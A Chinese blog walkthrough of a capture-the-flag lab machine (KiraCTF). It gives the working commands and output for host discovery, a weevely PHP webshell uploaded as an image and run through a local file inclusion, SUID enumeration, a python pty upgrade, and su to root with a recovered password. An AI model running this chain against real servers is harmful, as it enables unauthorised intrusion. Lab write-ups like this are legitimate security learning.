记一次渗透测试学习(二)

KiraCTF

0x0 信息收集

使用netcover探测主机存活:

netdiscover -r 192.168.146.0/16

Currently scanning: Finished!   |   Screen View: Unique Hosts                                                                                 
                                                                                                                                               
 7 Captured ARP Req/Rep packets, from 4 hosts.   Total size: 420                                                                               
 _____________________________________________________________________________
   IP            At MAC Address     Count     Len  MAC Vendor / Hostname      
 -----------------------------------------------------------------------------
 192.168.146.155 00:0c:29:e9:db:4c      2     120  VMware, Inc.                                                                                
 192.168.146.2   00:50:56:f4:f2:38      3     180  VMware, Inc.                                                                                
 192.168.146.1   00:50:56:c0:00:08      1      60  VMware, Inc.                                                                                
 192.168.146.254 00:50:56:ef:ac:e5      1      60  VMware, Inc.   

发现目标主机ip 192.168.146.155 \textcolor{orange}{192.168.146.155} 192.168.146.155,接着使用namp收集信息:

nmap -sS -sV -A -p- 192.168.146.155

PORT   STATE SERVICE VERSION
80/tcp open  http    Apache httpd 2.4.29 ((Ubuntu))
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: Site doesn't have a title (text/html).
MAC Address: 00:0C:29:E9:DB:4C (VMware)
Device type: general purpose
Running: Linux 4.X|5.X
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5
OS details: Linux 4.15 - 5.6
Network Distance: 1 hop

发现只开启了80端口,是个http服务。通过浏览网页发现是个简单的文件上传页面

在这里插入图片描述

简单测试了一下,只能上传图片,只要文件后缀是常见的图片类型即可上传成功。接着测试language按钮功能,发现URL地址栏变成了:

在这里插入图片描述

而且网页标题赫然显示LFI,这不已经明示存在本地文件包含漏洞嘛?所以常规操作就是上传一个图片马,然后利用LFI进行RCE

0x1 RCE

使用weevely生成shell

weevely generate c shell.php

这样就在当前目录下生成一个php shell,并且连接密码是c。然后将 s h e l l . p h p \textcolor{orange}{shell.php} shell.php改名为 s h e l l . p n g \textcolor{orange}{shell.png} shell.png,上传成功后,网页会显示上传路径

在这里插入图片描述

使用weevely进行连接:

weevely http://192.168.146.155/language.php?lang=uploads/shell.png

[+] weevely 4.0.1

[+] Target:     192.168.146.155
[+] Session:    /home/kali/.weevely/sessions/192.168.146.155/language_1.session

[+] Browse the filesystem or execute commands starts the connection
[+] to the target. Type :help for more information.

weevely> 
weevely> id
uid=33(www-data) gid=33(www-data) groups=33(www-data)

此时getshell,但是权限很低,接下来考虑提权。

0x2 提权

尝试SUID提权,运行命令:

find / -perm -u=s -type f &2>/dev/null

/bin/umount
/bin/ping
/bin/su
/bin/mount
/bin/fusermount
...

ping就够了,尝试提权,首先在当前目录uploads下创建一个临时目录tmp,但是当使用到ll指令的时候提示没有该指令!看来不能用该方法提权了。接着查看计划任务:

cat /etc/crontab

# m h dom mon dow user  command
17 *    * * *   root    cd / && run-parts --report /etc/cron.hourly
25 6    * * *   root    test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.daily )
47 6    * * 7   root    test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.weekly )
52 6    1 * *   root    test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.monthly )

crontab -l

没有可以利用的计划任务,使用pspy64监视进程,也没有意外之喜,linpeas.sh再来搜搜还有些参考价值,尽管这个环境任然可以利用CVE-2021-3156进行提权,但是我想这肯定不是预期的,为什么我非要做出预期解?是因为这样可能会学到更多的东西。

就在我一筹莫展之际,发现了网站目录下有个奇怪的文件夹supersecret-for-aziz,顾名思义应该是个超级大的秘密,进去一看居然是bassam用户的密码,我滴个天!这是闹哪样?那这考察的应该就是su提权了,因为这个环境除了root就只有bassam这个用户了。

su
su: must be run from a terminal

关于这个问题,详细的说明参见https://blog.csdn.net/weixin_30522983/article/details/116941725。这里需要将我们的shell转换为pty,目标机器上面安装有python3,所以可以直接执行:

python3 -c 'import pty; pty.spawn("/bin/bash")'

此时我们的shell就变成了pty了,然后执行su提权:

$ python3 -c 'import pty; pty.spawn("/bin/bash")'
www-data@bassam-aziz:/var/www/html$ 

www-data@bassam-aziz:/var/www/html$ su
su
Password: Password123!@#

root@bassam-aziz:/var/www/html# 

最后CTF

root@bassam-aziz:~# cat flag.txt
cat flag.txt
THM{root-Is_Better-Than_All-of-THEM-31337}

0x3 参考

[1] https://www.cnblogs.com/peri0d/p/14247274.html

[2] https://www.cnblogs.com/sunmmi/articles/5958439.html

[3] https://www.cnblogs.com/sunmmi/articles/5958439.html

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值